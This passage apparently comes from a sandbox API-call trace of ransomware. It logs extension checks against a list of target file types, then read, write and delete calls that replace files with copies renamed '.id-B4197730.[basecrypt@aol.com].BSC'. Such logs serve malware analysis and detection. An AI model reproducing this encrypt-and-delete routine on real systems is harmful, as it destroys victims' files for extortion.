lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.871] lstrlenW (lpString=".dbf") returned 4 [0102.871] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.871] lstrlenW (lpString=".1cd") returned 4 [0102.871] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.871] lstrlenW (lpString=".jpg") returned 4 [0102.871] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.871] lstrlenW (lpString=".doc") returned 4 [0102.871] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.871] lstrlenW (lpString=".docx") returned 5 [0102.871] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.871] lstrlenW (lpString=".pdf") returned 4 [0102.871] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.872] lstrlenW (lpString=".xls") returned 4 [0102.872] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.872] lstrlenW (lpString=".xlsx") returned 5 [0102.872] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.872] lstrlenW (lpString=".ppt") returned 4 [0102.872] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.872] lstrlenW (lpString=".zip") returned 4 [0102.872] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.872] lstrlenW (lpString=".rar") returned 4 [0102.872] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.872] lstrlenW (lpString=".bz2") returned 4 [0102.872] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.872] lstrlenW (lpString=".7z") returned 3 [0102.872] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.872] lstrlenW (lpString=".dbf") returned 4 [0102.872] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.872] lstrlenW (lpString=".1cd") returned 4 [0102.872] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.872] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.872] lstrlenW (lpString=".jpg") returned 4 [0102.872] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.872] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.872] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.873] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.873] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=18776) returned 1 [0102.873] CloseHandle (hObject=0x328) returned 1 [0102.873] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0102.873] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.873] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.873] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.873] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.873] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0102.986] GetLastError () returned 0x0 [0102.986] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x4958, lpOverlapped=0x0) returned 1 [0103.083] WriteFile (in: hFile=0x35c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0x4960, lpOverlapped=0x0) returned 1 [0103.084] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.084] WriteFile (in: hFile=0x35c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0xf8, lpOverlapped=0x0) returned 1 [0103.085] SetEndOfFile (hFile=0x35c) returned 1 [0103.085] CloseHandle (hObject=0x35c) returned 1 [0103.089] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.089] SetEndOfFile (hFile=0x328) returned 1 [0103.090] CloseHandle (hObject=0x328) returned 1 [0103.090] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.090] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0103.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.092] lstrlenW (lpString=".doc") returned 4 [0103.092] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0103.092] lstrlenW (lpString=".docx") returned 5 [0103.092] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0103.092] lstrlenW (lpString=".pdf") returned 4 [0103.092] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0103.092] lstrlenW (lpString=".xls") returned 4 [0103.092] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0103.092] lstrlenW (lpString=".xlsx") returned 5 [0103.092] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0103.092] lstrlenW (lpString=".ppt") returned 4 [0103.092] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0103.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.092] lstrlenW (lpString=".zip") returned 4 [0103.092] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0103.092] lstrlenW (lpString=".rar") returned 4 [0103.092] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0103.092] lstrlenW (lpString=".bz2") returned 4 [0103.092] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0103.092] lstrlenW (lpString=".7z") returned 3 [0103.092] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0103.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.092] lstrlenW (lpString=".dbf") returned 4 [0103.092] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0103.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.092] lstrlenW (lpString=".1cd") returned 4 [0103.092] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0103.092] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.092] lstrlenW (lpString=".jpg") returned 4 [0103.093] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0103.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.093] lstrlenW (lpString=".doc") returned 4 [0103.093] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0103.093] lstrlenW (lpString=".docx") returned 5 [0103.093] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0103.093] lstrlenW (lpString=".pdf") returned 4 [0103.093] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0103.093] lstrlenW (lpString=".xls") returned 4 [0103.093] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0103.093] lstrlenW (lpString=".xlsx") returned 5 [0103.093] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0103.093] lstrlenW (lpString=".ppt") returned 4 [0103.093] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0103.093] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.093] lstrlenW (lpString=".zip") returned 4 [0103.093] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0103.093] lstrlenW (lpString=".rar") returned 4 [0103.093] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0103.093] lstrlenW (lpString=".bz2") returned 4 [0103.093] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0103.093] lstrlenW (lpString=".7z") returned 3 [0103.094] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0103.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.094] lstrlenW (lpString=".dbf") returned 4 [0103.094] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0103.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.094] lstrlenW (lpString=".1cd") returned 4 [0103.094] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0103.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0103.094] lstrlenW (lpString=".jpg") returned 4 [0103.094] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0103.094] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.094] lstrlenW (lpString="Rotate3.ico") returned 11 [0103.094] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.095] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=894) returned 1 [0103.095] CloseHandle (hObject=0x328) returned 1 [0103.095] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0103.095] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.095] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.095] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.095] GetLastError () returned 0x0 [0103.095] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x37e, lpOverlapped=0x0) returned 1 [0103.243] WriteFile (in: hFile=0x35c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0x380, lpOverlapped=0x0) returned 1 [0103.244] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.245] WriteFile (in: hFile=0x35c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0xea, lpOverlapped=0x0) returned 1 [0103.245] SetEndOfFile (hFile=0x35c) returned 1 [0103.245] CloseHandle (hObject=0x35c) returned 1 [0103.246] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.246] SetEndOfFile (hFile=0x328) returned 1 [0103.246] CloseHandle (hObject=0x328) returned 1 [0103.247] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.247] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0103.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.247] lstrlenW (lpString=".doc") returned 4 [0103.247] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.247] lstrlenW (lpString=".docx") returned 5 [0103.247] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0103.247] lstrlenW (lpString=".pdf") returned 4 [0103.247] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.248] lstrlenW (lpString=".xls") returned 4 [0103.248] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.248] lstrlenW (lpString=".xlsx") returned 5 [0103.248] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0103.248] lstrlenW (lpString=".ppt") returned 4 [0103.248] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.248] lstrlenW (lpString=".zip") returned 4 [0103.248] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.248] lstrlenW (lpString=".rar") returned 4 [0103.248] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.248] lstrlenW (lpString=".bz2") returned 4 [0103.248] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.248] lstrlenW (lpString=".7z") returned 3 [0103.248] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.248] lstrlenW (lpString=".dbf") returned 4 [0103.248] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.248] lstrlenW (lpString=".1cd") returned 4 [0103.248] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.248] lstrlenW (lpString=".jpg") returned 4 [0103.248] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.249] lstrlenW (lpString=".doc") returned 4 [0103.249] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.249] lstrlenW (lpString=".docx") returned 5 [0103.249] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0103.249] lstrlenW (lpString=".pdf") returned 4 [0103.249] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.249] lstrlenW (lpString=".xls") returned 4 [0103.249] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.249] lstrlenW (lpString=".xlsx") returned 5 [0103.249] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0103.249] lstrlenW (lpString=".ppt") returned 4 [0103.249] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.249] lstrlenW (lpString=".zip") returned 4 [0103.249] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.249] lstrlenW (lpString=".rar") returned 4 [0103.249] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.249] lstrlenW (lpString=".bz2") returned 4 [0103.249] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.249] lstrlenW (lpString=".7z") returned 3 [0103.249] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.249] lstrlenW (lpString=".dbf") returned 4 [0103.249] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.250] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.250] lstrlenW (lpString=".1cd") returned 4 [0103.250] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.250] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0103.250] lstrlenW (lpString=".jpg") returned 4 [0103.250] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.250] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.250] lstrlenW (lpString="Rotate7.ico") returned 11 [0103.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.250] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=894) returned 1 [0103.250] CloseHandle (hObject=0x328) returned 1 [0103.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0103.251] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.251] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.251] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.251] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.251] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.251] GetLastError () returned 0x0 [0103.251] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x37e, lpOverlapped=0x0) returned 1 [0103.326] WriteFile (in: hFile=0x35c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0x380, lpOverlapped=0x0) returned 1 [0103.328] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.328] WriteFile (in: hFile=0x35c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0xea, lpOverlapped=0x0) returned 1 [0103.328] SetEndOfFile (hFile=0x35c) returned 1 [0103.328] CloseHandle (hObject=0x35c) returned 1 [0103.331] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.331] SetEndOfFile (hFile=0x328) returned 1 [0103.332] CloseHandle (hObject=0x328) returned 1 [0103.333] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.333] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0103.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.333] lstrlenW (lpString=".doc") returned 4 [0103.333] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.333] lstrlenW (lpString=".docx") returned 5 [0103.334] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0103.334] lstrlenW (lpString=".pdf") returned 4 [0103.334] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.334] lstrlenW (lpString=".xls") returned 4 [0103.334] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.334] lstrlenW (lpString=".xlsx") returned 5 [0103.334] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0103.334] lstrlenW (lpString=".ppt") returned 4 [0103.334] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.334] lstrlenW (lpString=".zip") returned 4 [0103.334] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.334] lstrlenW (lpString=".rar") returned 4 [0103.334] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.334] lstrlenW (lpString=".bz2") returned 4 [0103.334] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.334] lstrlenW (lpString=".7z") returned 3 [0103.334] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.334] lstrlenW (lpString=".dbf") returned 4 [0103.334] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.335] lstrlenW (lpString=".1cd") returned 4 [0103.335] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.335] lstrlenW (lpString=".jpg") returned 4 [0103.335] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.335] lstrlenW (lpString=".doc") returned 4 [0103.335] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.335] lstrlenW (lpString=".docx") returned 5 [0103.335] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0103.335] lstrlenW (lpString=".pdf") returned 4 [0103.335] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.335] lstrlenW (lpString=".xls") returned 4 [0103.335] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.335] lstrlenW (lpString=".xlsx") returned 5 [0103.335] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0103.335] lstrlenW (lpString=".ppt") returned 4 [0103.335] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.335] lstrlenW (lpString=".zip") returned 4 [0103.335] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.336] lstrlenW (lpString=".rar") returned 4 [0103.336] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.336] lstrlenW (lpString=".bz2") returned 4 [0103.336] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.336] lstrlenW (lpString=".7z") returned 3 [0103.336] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.336] lstrlenW (lpString=".dbf") returned 4 [0103.336] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.336] lstrlenW (lpString=".1cd") returned 4 [0103.336] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0103.336] lstrlenW (lpString=".jpg") returned 4 [0103.336] lstrcmpiW 